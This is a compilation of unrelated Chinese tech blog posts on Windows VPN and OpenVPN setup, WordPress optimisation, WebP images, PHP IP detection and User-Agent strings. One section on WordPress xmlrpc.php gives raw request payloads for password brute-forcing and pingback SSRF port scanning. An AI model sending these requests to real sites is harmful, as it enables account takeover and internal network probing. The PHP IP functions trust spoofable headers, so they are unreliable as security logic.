Windows Server 2012/2016 单网卡搭建VPN的方法

找一台安装Windows Server 2016的服务器

我这里设置的ip是192.168.80.133

安装角色
打开服务器管理器点击角色,点击添加角色

点击添加角色和功能

点击下一步

点击下一步

点击下一步

在“服务器角色”页面,选择安装“网络策略和访问服务”以及“远程访问”两项角色。
点击网络策略和访问服务

点击添加功能

点击远程访问

确认网络策略和访问服务以及远程访问已经勾选点击下一步

点击下一步

点击下一步

点击下一步

点击DirectAccess 和VPN(RAS)

点击添加功能

注意,在选择“路由”服务时,会弹出默认依赖的角色服务及功能,保持默认即可。

确认已选择DirectAccess 和VPN(RAS)和路由,点击下一步

点击下一步

IIS 的依赖配置直接保持默认,点击下一步

点击安装

接下来,确认安并等待安装过程完成。至此,相关服务及功能的安装过程到此结束

点击关闭

在服务器管理器菜单中,点击工具选择打开“路由和远程访问”配置面板。

右键本地服务器,选择“配置并启用路由和远程访问”,启动配置向导。

点击下一步

在配置向导中选择“自定义配置”,以便进行功能的自由组合配置。

启用所有需要的服务。如果不需要允许远端连接通过本地服务器访问 Internet 的话,可以
不启用 NAT 服务。

相关说明:如果勾选“Lan 路由”这一项,是为了登陆以后可以访问与服务器处于同一局域
网的机器方便而选的,如果你的服务器局域网内没有要直接访问的,那么这一项可以不
选。
点击完成

点击确定

点击确定

点击启动服务

点击完成

展开“IPv4”,右键“NAT”项,选择“新增接口”,并选择添加“以太网”接口

选择Ethernet0 点击确定

在“以太网”接口的NAT 配置中,选则“公用接口链接到Internet”,并勾选“在此接口上启
用NAT”

接下
来,继续在NAT 上配置内部接口。展开“IPv4”,右键“NAT”项,选择“新增接口”,并选择
添加“以太网”接口
保持内部接口的默认配置即可点击确定

保持默认点击确认

配置本地服务器属性

在“IPv4”标签页中设置为远端连接分配IP 的地址池

新建VPN 组和新建用户,用户并添加到VPN 组
打开服务器管理器点击工具然后点击计算机管理

按图操作新建组

填写组名,点击确定

按照下图新建用户

填写用户名密码点击创建

点击新建的用户名右键选择属性

按图中依次点击隶属于–添加–高级—立即查找—vpn–确定

 

 

配置 VPN 访问权限
在“服务器管理器”中,点击NAPS–选择服务器–启动“网络策略服务器”配置

依次点击策略–网络策略–右键点击新建

在“网络策略”中,新建用于控制VPN 访问的网络策略,在“网络访问服务器的类型”中选择
“远程访问服务器(VPN 拨号)”。

在指定条件中,根据实际需求,选择合适的匹配条件。比如,这里我选择了域中的VPN
用户组。

添加刚才创建的VPN 组

点击下一步

选择已授予访问权限,点击下一步

按默认的选择点击下一步

点击下一步

点击下一步

点击完成

根据实际需求,进一步设置后,完成访问策略配置

下面防火墙入站规则添加路由和远程访问规则

点击高级设置

点击入站规则


点击新建规则

点击预定义选项选择路由和远程访问

确认预定义选项里已选择路由和远程访问 点击下一步

勾选下图三项点击下一步

点击完成

下图已看到已经添加好的规则

配置好了用windows7 vpn 连接来验证 设置的ip 是192.168.80.141

点击桌面网络右击选择属性

点击设置新的连接或网络

选择连接到工作区点击下一步

点击使用我的Internet 连接(VPN)(I)

点击我将稍后设置Internet 连接(I)

输入连接的IP 地址 192.168.80.133 点击下一步

输入用户名密码 点击连接

如对本文有疑问,请提交到交流论坛,广大热心网友会为你解答!! 点击进入

链接:https://www.365jz.com/article/24912
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

没有公网IP如何实现VPN组网?

由于公网IP地址不够用,一些网络运营商只给拨号用户提供二级IP地址。换句话说,你的网关获取到的只是一个内网IP地址,在公网上是不可达的。这个事实,会给拨号上网的企业带来如下问题:

  1. 无法实现依赖端口映射的业务功能。
  2. 无法实现直接VPN组网。

在本文中,我将介绍一种通过云主机来进行中转的VPN组网方式。你只需要购买一台有固定IP地址的云主机,即可实现多地VPN组网。既节省了专线的费用,而且云主机还可以用来搭建Web服务或者其他服务。网络拓扑图如下:

云VPN.png

如上图所示:

  1. 在云主机上搭建openvpn server。
  2. 两个局域网作为openvpn client,一起连接到云主机的openvpn服务。

下面是具体的配置信息,云主机采用的是windows server系统,而客户端用的是WSG上网行为管理网关。

1. Openvpn Server端的配置

本例中,云主机是windows 2008 R2,首先我们需要安装openvpn。

201811301543559833123515.png

在config文件夹下创建server.ovpn文件(服务端配置文件),内容如下:

openvpnsrv02.png

在本例中,我们采用的是openvpn的证书认证方式,在配置文件中,需要指定证书文件的路径,通讯的协议和端口信息,以及客户机的网段信息等。还需要用easyrsa工具生成ca证书、server证书、客户端证书(每个客户端一组证书)。config的文件夹结构如下图:

201811301543560140125191.png

在cmd(用管理员权限创建),启动openvpn server。

201811301543560210773027.png

2. OpenVPN客户端配置

在WSG的“VPN”模块中,启用“OpenVPN客户端模块”,然后导入服务端的ca证书和服务端创建的客户端证书。如图:

201811301543560340619749.png

创建到openvpn server的连接。

201811301543560528442124.png

点击图标可以查看到连接状况。

201811301543560565236225.png

把两地的openvpn客户端都配置成功后,就可以成功实现两地VPN互联。

注:

创建用户的时候可以指定用户静态IP,但是要注意,不能是地址池起始IP,不然会不求作用。而且IP也不能超过池最后一个IP,不然也不生效。

若系统开启防火墙,需开启47和1723端口,并通过外网映射这两个端口即可.

10个WordPress必备提高WordPress访问速度和精简代码

2020-07-30 17:27:31 分类:建站实操

我们很多网友,尤其是很多WordPress新手会发现自己在使用这款程序建站的时候为什么网站打开速度很慢,而有些网友即便数据和图片比较多网站打开速度也是比较快的,甚至你们都是使用的同一家的服务器。这个就在于我们在使用WordPress的时候是否有对于代码基础优化,当然如果深度优化是需要一些技能的,但是基础的优化我们大家都会做。

在这篇文章中,我们老部落整理几个常用的入门可以提高网站速度和代码优化效率的模块。如果我们是新手WordPress可以添加到网站中然后使得网站效率。

第一、网站目录反斜杠

//~ 页面链接后添加反斜杠
function itbulu_nice_trailingslashit($string, $type_of_url) {
if ($type_of_url != 'single')
$string = trailingslashit($string);
return $string;
}
add_filter('user_trailingslashit', 'itbulu_nice_trailingslashit', 10, 2);

添加这个脚本可以使得网站目录后缀URL加上反斜杠,默认是没有的。比如:https://www.laobuluo.com/tutorials/solution/。

第二、禁止emojis

//禁止emojis Edit By laobuluo.com
function disable_emojis() {
remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
remove_action( 'wp_print_styles', 'print_emoji_styles' );
remove_action( 'admin_print_styles', 'print_emoji_styles' );
remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' );
}
add_action( 'init', 'disable_emojis' );
function disable_emojis_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
} else {
return array();
}
}

一般网站用不上emojis,我们可以禁止。

第三、去掉CSS/JS后缀版本号

//去除加载的css和js后面的版本号 Edit By laobuluo.com
function sb_remove_script_version( $src ){
$parts = explode( '?', $src );
return $parts[0];
}
add_filter( 'script_loader_src', 'sb_remove_script_version', 15, 1 );
add_filter( 'style_loader_src', 'sb_remove_script_version', 15, 1 );

第四、禁止自PING和版本保存

function no_self_ping( &$links ) {
$home = get_option( 'home' );
foreach ( $links as $l => $link )
if ( 0 === strpos( $link, $home ) )
unset($links[$l]);
}
add_action( 'pre_ping', 'no_self_ping' );
remove_action('pre_post_update', 'wp_save_post_revision');
add_action('wp_print_scripts', 'disable_autosave');
function disable_autosave() {
wp_deregister_script('autosave');
}

第五、部分头部禁止模块

remove_action( 'wp_head', 'wp_generator' );
remove_action( 'wp_head', 'parent_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'start_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 );
remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'feed_links', 2 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );

第六、将JQ文件底部加载

//强制jquery库文件底部载入 Edit By laobuluo.com
function ds_print_jquery_in_footer( &$scripts) {
    if ( ! is_admin() )
        $scripts->add_data( 'jquery', 'group', 1 );
}
add_action( 'wp_default_scripts', 'ds_print_jquery_in_footer' );

底部加载可以提高网站打开速度。

第七、关闭XML-RPC

// 关闭 XML-RPC 功能  Edit By laobuluo.com
add_filter('xmlrpc_enabled', '__return_false');

第八、关闭REST API

// 屏蔽 REST API
add_filter('rest_enabled', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');

第九、移除头部JSON

//移除头部 wp-json 标签和 HTTP header 中的 link Edit By laobuluo.com
remove_action('wp_head', 'rest_output_link_wp_head', 10 );
remove_action('template_redirect', 'rest_output_link_header', 11 );

第十、禁止Gutenberg编辑器

//禁止Gutenberg编辑器
add_filter('use_block_editor_for_post', '__return_false');
remove_action( 'wp_enqueue_scripts', 'wp_common_block_scripts_and_styles' );

总结,我们可以根据上面的功能将代码加入到当前WP主题的Functions.php文件中。

WordPress优化建议

1、选择优质的托管服务

当用户访问您的站点时,托管服务器将决定信息传递给他们的速度。有些服务器速度很慢,或者,您的套餐可能会限制您的最大速度或允许的服务器资源。简而言之,您的站点永远不会比服务器允许的速度快。选择正确的托管服务器和主机套餐是您应该为网站做出的首要选择之一,也是最重要的选择。

打个比方,电脑运行速度和性能,取决于硬件配置,比如CPU、内存、硬盘等,如果这些硬件配置都比较低,你用什么优化手段都不可能有显著的性能提升。以下是倡萌的建议:

国内网站

建议购买 阿里云、腾讯云 等国内大厂的产品,如果资金允许,不要购买“突发型”“限制型”“10%CPU性能”等等字样的产品,这就是硬件限制,磁盘最好选择SSD固态硬盘CPU最好是2核或以上、带宽至少2M或以上。反之,没钱的话,那就自己看着来吧!限制型服务器或主机空间运行一个小型网站也是可以的

外贸网站:

建议购买 SiteGround https://www.siteground.com ) 的WordPress管理型主机,他们是WordPress官方推荐的,并且针对WordPress进行了很多优化,可一键申请SSL免费证书和开启CDN。管理型 WordPress主机商还可以考虑 KinstaWP Engine 或 Godaddy,不过这些价格上有些贵。

注:不要买 BlueHost 了,被别人收购后,变得非常垃圾。

重要建议:

除了选择托管商以外,对产品的选择还要考虑以下因素:

  • 选择Linux主机,不要用windows
  • 选择提供 PHP 7.0 以上的(如果能提供PHP 7.2 或以上的,性能会更好)
  • 选择MySQL 5.6 以上的(好像阿里云的虚拟主机有些数据库还是 MySQL 5.1 ,请不要购买这种主机!)
  • 如果网站有一定的流量(比如日IP > 1000),建议不要用低配虚拟主机了,可以考虑升级使用云服务器(需要配置环境和维护的,可以联系倡萌)

2、定期更新WordPress内核、插件和主题

无论更新是WordPress核心,还是WordPress主题或插件,都请尽可能去做。这样做的最重要原因是安全性,因为更新将确保您的网站不受最新威胁的侵害。

3、使用缓存机制

WordPress网站优化的另一种方法是实施缓存。这样别人访问页面的时候,可以直接提供缓存页面和数据,减少了运行站点所需的服务器资源占用,从而可以大大加快站点的运行速度。推荐以下缓存插件

这几年出现了很多缓存插件,而且安装数量都非常多,大家可以根据自己的需要去对比一下。以上都非常不错!

如果是VPS或云服务器(内存1G以上),建议使用 Opcache 和 Memcached 服务器端缓存,性能更佳!

4、图像优化

图像优化是在不明显影响图像质量的情况下压缩图像文件大小的过程。大文件大小会对加载时间和带宽使用产生负面影响,从而损害整体用户体验。可以考虑以下图片处理插件:

5、减少HTTP请求数和压缩大小

页面加载的文件(css、js、图片等)都会导致请求数的增加,倡萌建议先删除或禁用不必要的js和css,然后合并压缩js和css,并且使用LazyLoad延迟加载图片。 除了减少HTTP请求数以外,压缩html、启用Gzip、延迟加载不是必要的css和js也是不错的优化手段。上面推荐的缓存插件基本都内置的这方面的功能,如果没有这方面的功能,可以使用 Autoptimize 插件。需要注意的是,这些操作可能会导致网站出现错位等问题,所以我们应该小心调试和排除一页页面和文件。

关于删除或禁用不必要的js和css,可以参考这方面的教程:

倡萌最近优化的网站项目,使用的是 Bridge 收费主题,加载了100+个js文件和30个css文件,最终倡萌剔除了 75+ 个 js和 20 个 css。

6、使用CDN加速

CDN指遍布全球的代理服务器网络。每个服务器都包含您的网站的副本,可用于将您的内容更快地交付给全球范围内的用户。这不仅可以提高您网站的速度,还可以提高安全性。对于有一定流量的网站来说,CDN方案是个不错的选择。

国内大厂主机商,比如阿里云、腾讯云、百度云等,都提供了CDN服务,可以根据需要自己选择使用。国内免费CDN可以考虑百度云加速,国外可以考虑 Cloudflare(可以安装 Cloudflare 插件)。

如果仅仅是加速静态文件,比如图片、js和css等,也可以考虑使用 又拍云七牛云 等服务。

WordPress大学 目前用的是阿里云服务器,所以配套用了OSS+CDN服务加速静态文件,效果还不错,就是需要一定的费用。

总结

WordPress网站的性能和速度对网站至关重要,通过检测工具检测出网站的问题,然后配合上面的WordPress网站优化建议去操作,应该可以得到一个不错的结果!网站优化是一个长期的实施过程,WordPress大学也需要不断优化提升!

php获取访问者IP地址汇总

在很我的时候我们需要得到用户的真实IP地址,例如,日志记录,地理定位,将用户信息,网站数据分析等,其实获取IP地址很简单$_SERVER[\’REMOTE_ADDR\’]就可以了。下面我们就来给大家汇总一下常用的几种获取IP地址的方法。

//方法1:

1
2
$ip = $_SERVER["REMOTE_ADDR"];
echo $ip;

//方法2:

 

复制代码代码如下:
$user_IP = ($_SERVER[“HTTP_VIA”]) ? $_SERVER[“HTTP_X_FORWARDED_FOR”] : $_SERVER[“REMOTE_ADDR”];
$user_IP = ($user_IP) ? $user_IP : $_SERVER[“REMOTE_ADDR”];
echo $user_IP;

 

//方法3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function getRealIp()
{
  $ip=false;
  if(!empty($_SERVER["HTTP_CLIENT_IP"])){
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  }
  if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
    if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }
    for ($i = 0; $i < count($ips); $i++) {
      if (!eregi ("^(10│172.16│192.168).", $ips[$i])) {
        $ip = $ips[$i];
        break;
      }
    }
  }
  return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}
echo getRealIp();

//方法4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if ($HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"])
{
  $ip = $HTTP_SERVER_VARS["HTTP_X_FORWARDED_FOR"];
}
elseif ($HTTP_SERVER_VARS["HTTP_CLIENT_IP"])
{
  $ip = $HTTP_SERVER_VARS["HTTP_CLIENT_IP"];
}
elseif ($HTTP_SERVER_VARS["REMOTE_ADDR"])
{
  $ip = $HTTP_SERVER_VARS["REMOTE_ADDR"];
}
elseif (getenv("HTTP_X_FORWARDED_FOR"))
{
  $ip = getenv("HTTP_X_FORWARDED_FOR");
}
elseif (getenv("HTTP_CLIENT_IP"))
{
  $ip = getenv("HTTP_CLIENT_IP");
}
elseif (getenv("REMOTE_ADDR"))
{
  $ip = getenv("REMOTE_ADDR");
}
else
{
  $ip = "Unknown";
}
echo $ip ;

//方法5:

1
2
3
4
5
6
7
8
9
10
if(getenv('HTTP_CLIENT_IP')) {
  $onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
  $onlineip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
  $onlineip = getenv('REMOTE_ADDR');
} else {
  $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
echo $onlineip

//方法6:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
print "您的IP地址是:";
if(!empty($_SERVER["HTTP_CLIENT_IP"])){
 $cip = $_SERVER["HTTP_CLIENT_IP"];
}
elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])){
 $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
}
elseif(!empty($_SERVER["REMOTE_ADDR"])){
 $cip = $_SERVER["REMOTE_ADDR"];
}
else{
 $cip = "无法获取!";
}
print $cip;

以上所述就是本文的全部内容了,希望对大家学习php能够有所帮助。

WordPress xmlrpc.php 漏洞

WordPress采用了XML-RPC接口.并且通过内置函数WordPress API实现了该接口内容。 所以,你可要通过客户端来管理Wordpress。 通过使用WordPress XML-RPC, 你可以使用业界流行博客客户端Weblog Clients来发布你的WordPress日志和页面。同时,XML-RPC 也可使用extended by WordPress Plugins插件来自定义你的规则。

0X01 激活XML-RPC

从3.5版本开始,XML-RPC功能默认开启。 早些版本,可通过如下方法激活:Settings > Writing > Remote Publishing and check the checkbox.

路径:http://example.com/wordpress/xmlrpc.php

image.png

0x02 查看系统允许的方法

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
image.png

0x03 账号爆破

一般情况下,wordpress的管理后台都会设置账号登录失败次数限制,因此,可以通过xmlprc.php接口来进行爆破。通常会使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以使用其他的方法。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>
image.png

爆破成功会返回博客的内容:

image.png

0x03 SSRF

WordPress 版本< 3.5.1
通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>要探测的ip和端口:http://127.0.0.1:80</string></value>
</param><param><value><string>网站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

IP和端口存在,返回包中的<value><int>中的值大于0:

image.png

利用脚本:
https://github.com/FireFart/WordpressPingbackPortScanner 

0x04 读取文件:

image.png
image.png

0x99 参考:

https://codex.wordpress.org/zh-cn:XML-RPC_Support
http://xmlrpc.com/
https://medium.com/@the.bilal.rizwan/wordpress-xmlrpc-php-common-vulnerabilites-how-to-exploit-them-d8d3c8600b32
https://www.acunetix.com/blog/web-security-zone/wordpress-pingback-vulnerability/
http://lab.onsec.ru/2013/01/wordpress-xmlrpc-pingback-additional.html

常见User-Agent 大全

常见 User-Agent 大全-备份

备份下常见User-Agent。

window.navigator.userAgent

1) Chrome
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1

2) Firefox
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0

3) Safari
Win7:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

4) Opera
Win7:
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50

5) IE
Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)

Win7+ie8:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)

WinXP+ie8:
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)

WinXP+ie7:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

WinXP+ie6:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

6) 傲游
傲游3.1.7在Win7+ie9,高速模式:
Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12

傲游3.1.7在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

7) 搜狗
搜狗3.0在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)

搜狗3.0在Win7+ie9,高速模式:
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0

8) 360
360浏览器3.0在Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)

9) QQ浏览器
QQ浏览器6.9(11079)在Win7+ie9,极速模式:
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201

QQ浏览器6.9(11079)在Win7+ie9,IE内核兼容模式:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201

10) 阿云浏览器
阿云浏览器1.3.0.1724 Beta(编译日期2011-12-05)在Win7+ie9:
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

 

如何在WordPress中使用WebP图像

播报文章
关注

您是否要在WordPress中使用WebP图像?WebP图像是一种现代的图像格式,可通过减小文件大小来提供更好的图像压缩。这使您的网站加载速度更快,并节省了带宽。在本文中,我们将向您展示如何轻松地在WordPress中使用WebP图像。

什么是WebP?为什么在WordPress中使用WebP图像?

WebP是要在网络上使用的图像的新文件格式。通过使用WebP图像格式,您的图像文件大小将比PNG和JPEG小25-34%,而不会降低质量。如果图像使您的网站变慢,则将其转换为WebP格式可以提高页面加载速度的测试成绩。

由于WebP是一种新的文件格式,因此并非所有浏览器都支持它。但是,大多数现代浏览器(例如Google Chrome,Firefox和Microsoft Edge)都支持WebP图像。

您是否应该在WordPress中使用WebP图像?

WebP图像可以帮助您加快WordPress网站的速度。这是推荐的最佳实践,可与WordPress缓存插件,CDN等一起使用。默认情况下,WordPress不支持WebP图像,并且上载WebP图像将显示错误。

要解决此问题,您将需要使用图像压缩插件将图像转换为WebP图像格式。您仍将以WordPress支持的文件格式(例如PNG,JPEG和GIF)上传图像,以便将它们用作备份。如果您的站点使用大量图像,并且它们在减慢WordPress博客的速度,那么您绝对应该考虑使用WebP图像。

这是在WordPress中使用WebP图像的方法。我们将向您展示多种方法,因此您可以选择一种最适合您的方法:

通过EWWW Optimizer在WordPress中使用WebP图像在WP Rocket中使用WordPress中的WebP图像通过SG Optimizer在WordPress中使用WebP图像一、在EWWW Optimizer中使用WordPress中的WebP图像

EWWW Image Optimizer插件是最好的WordPress图像压缩插件之一,可让您优化WordPress图像。它还支持WebP图像,并可以在支持的浏览器上自动显示它们。您需要做的第一件事是安装并激活EWWW Image Optimizer插件。

激活后,转到设置EWWW图像优化器页面以配置插件选项。安装向导会打招呼,但是您可以单击“我知道我在做什么”链接以退出向导。

在下一个屏幕上,您将看到很多插件选项。向下滚动并选中“ WebP转换”选项旁边的框。

之后,单击“保存更改”按钮以存储您的设置。

接下来,您需要向下滚动到“ WebP转换”部分。现在,该插件将为您显示一些带有红色预览图像的重写规则。

您需要单击“插入重写规则”按钮,插件将自动尝试将这些重写规则插入.htaccess文件中。

如果插件成功添加了这些规则,则红色图像预览将变为带有“ WebP”文本的绿色。

有时,插件可能无法插入规则。在这种情况下,您需要从插件的设置页面复制重写规则,然后将其手动粘贴到.htaccess文件的底部。完成后,返回到插件的设置页面,然后再次单击“保存更改”按钮。如果预览图像变为绿色,则表示您已成功在WordPress网站上启用WebP图像传递。

或者,您可以从JS WebP重写或<picture> WebP重写方法中选择一种作为WebP交付选项。这些方法比.htaccess方法要慢一些,但可以完成工作。

批量将旧图像转换为WebP版本

EWWW图像优化器使您可以轻松地将以前上传的图像文件转换为WebP图像。只需转到媒体库页面,然后切换到列表视图。

接下来,您需要单击“屏幕选项”按钮,并将“每页的项目数”更改为999。如果您有1000幅以上的图像,则这些图像将显示在下一页上。这样,您将能够快速选择大量图像以进行批量优化。接下来,单击顶部的全选复选框以选择所有图像。

之后,点击批量操作下拉菜单,然后选择批量优化选项。最后,单击“应用”按钮。

在下一个屏幕上,该插件将为您提供一个选项,可以跳过图像压缩,仅将其转换为WebP。如果您的图像已经优化,则可以选中此选项。

之后,单击“扫描未优化的图像”按钮继续。然后,该插件将向您显示找到的图像数量,因此您可以单击“优化”按钮继续。现在将优化您的图像,并且EWWW优化器将为您的图像生成WebP版本。

测试您的WebP图像

优化图像后,您可以转到包含多个图像的博客文章或页面。将鼠标移到任何图像上,然后单击鼠标右键以在新选项卡中打开图像。

这将在新的浏览器选项卡中打开图像,您将能够在地址栏中看到其扩展名为.webp。

如果插件无法提供webp图像,则可以返回到插件的设置页面。在这里,您可以将WebP交付选项更改为“ JS WebP Rewriting”或“ <picture> WebP Rewriting”方法。

二、通过Imagify在WordPress中使用WebP图像

Imagify是WP Rocket背后的人们创建的WordPress图像优化插件,WP Rocket是最好的WordPress缓存插件之一。它使您可以轻松优化图像并将其转换为WebP图像格式。您需要做的第一件事是安装并激活Imagify插件。

激活后,您需要访问设置想象页面以配置插件设置。从这里。点击“创建免费的API密钥”按钮继续。

之后,系统会要求您输入公司的电子邮件地址,然后您可以在收件箱中查看包含API密钥的电子邮件。将密钥复制并粘贴到插件的设置页面上,然后单击“保存更改”按钮。接下来,您需要向下滚动到“优化”部分。在那里,您需要检查“创建webp版本的图像”和“在站点上以webp格式显示图像”选项旁边的选项。

在此之下,您可以从两种交付方式中选择一种,以在WordPress中显示WebP图像。第一个是.htaccess方法,第二个是使用<picture>标记。.htaccess方法更快,但是如果您使用CDN服务,则该方法不起作用。<picture>标记方法也适用于CDN,但它可能会破坏某些WordPress主题。

您可以选择一种最适合您的网站的方式。之后,点击底部的“保存并转到批量优化器”按钮。

这将带您到MediaBulk Optimization页面。该插件将在后台自动开始优化您的所有WordPress图像。

如果您有很多图像,则可能要花一些时间。不用担心,您可以关闭页面并稍后再返回页面,因为关闭页面不会停止图像优化过程。

在WordPress中测试您的WebP图像

优化完成后,您可以访问包含一些图像的页面或帖子。将鼠标移到图像上,然后右键单击以选择“在新选项卡中打开图像”。

这将在新的浏览器选项卡中打开图像,并且您将能够在地址栏中看到.webp扩展名。

wordpress如何设置支持上传webp格式图片文件

而且图片质量却没有损失,简直恐怖,如果把网站的图片全换成webp的话,那估计网站加载速度可以省下一两秒。

wordpress如何设置支持上传webp格式图片文件插图

没压缩前,大小4MB

wordpress如何设置支持上传webp格式图片文件插图1

压缩后,大小28KB

教你转换之前我们先来了解下webp格式的由来。

WebP是Google在2010年推出的影像技术,文件扩展名为“.webp”。

图片压缩体积大约只有JPEG的2/3,同时又不影响图片格式兼容与实际清晰度,进而节省大量的服务器宽带资源和数据空间。让整体网页下载速度加快。

不过WebP缺点是有的,就是部分浏览器或者客户端并不支持显示WebP格式的文件,比如我们wordpress、windows,默认情况下是无法读取WebP文件的。

当然WebP出来已经10年了,几乎95%的程序都是支持WebP的,比如微信就支持,所以取舍问题,我们还是选择速度至上,给wordpress开启支持WebP图片。

具体步骤:

使用代码编辑器直接编辑 /wp-includes/functions.php

1、打开文件搜索

  1. ‘image/jpeg’ => ‘jpg’,

在下一行加入

  1. ‘image/webp’ => ‘webp’,

wordpress如何设置支持上传webp格式图片文件插图2

2、继续搜

  1. ‘jpg|jpeg|jpe’ => ‘image/jpeg’,

下一行加入

  1. ‘webp’ => ‘image/webp’,

wordpress如何设置支持上传webp格式图片文件插图3

修改后保存,刷新网页即可生效。

如图wordpress缩略图无法显示WebP图片怎么办?修改functions.php文件,在底部添加以下代码保存即可。

function webp_file_is_displayable_image($result, $path) {
    $info = @getimagesize( $path );
    if($info['mime'] == 'image/webp') {
        $result = true;
    }
    return $result;
}
add_filter( 'file_is_displayable_image', 'webp_file_is_displayable_image', 10, 2 );

function webp_is_displayable($result, $path) {
    if ($result === false) {
        $displayable_image_types = array( IMAGETYPE_WEBP );
        $info = @getimagesize( $path );
        if (empty($info)) {
            $result = false;
        } elseif (!in_array($info[2], $displayable_image_types)) {
            $result = false;
        } else {
            $result = true;
        }
    }
    return $result;
}
add_filter('file_is_displayable_image', 'webp_is_displayable', 10, 2);

 

需要说明的是之前上传的webp图片是不会显示的,只能添加代码后上传的webp文件才会显示缩略图。

jupyter notebook,设置自启动

一、Debian

(base) root@debian:/etc/systemd/system# cat jupyter.service

[Unit]
Description=Jupyter Notebook
After=network.target
[Service]
Type=simple
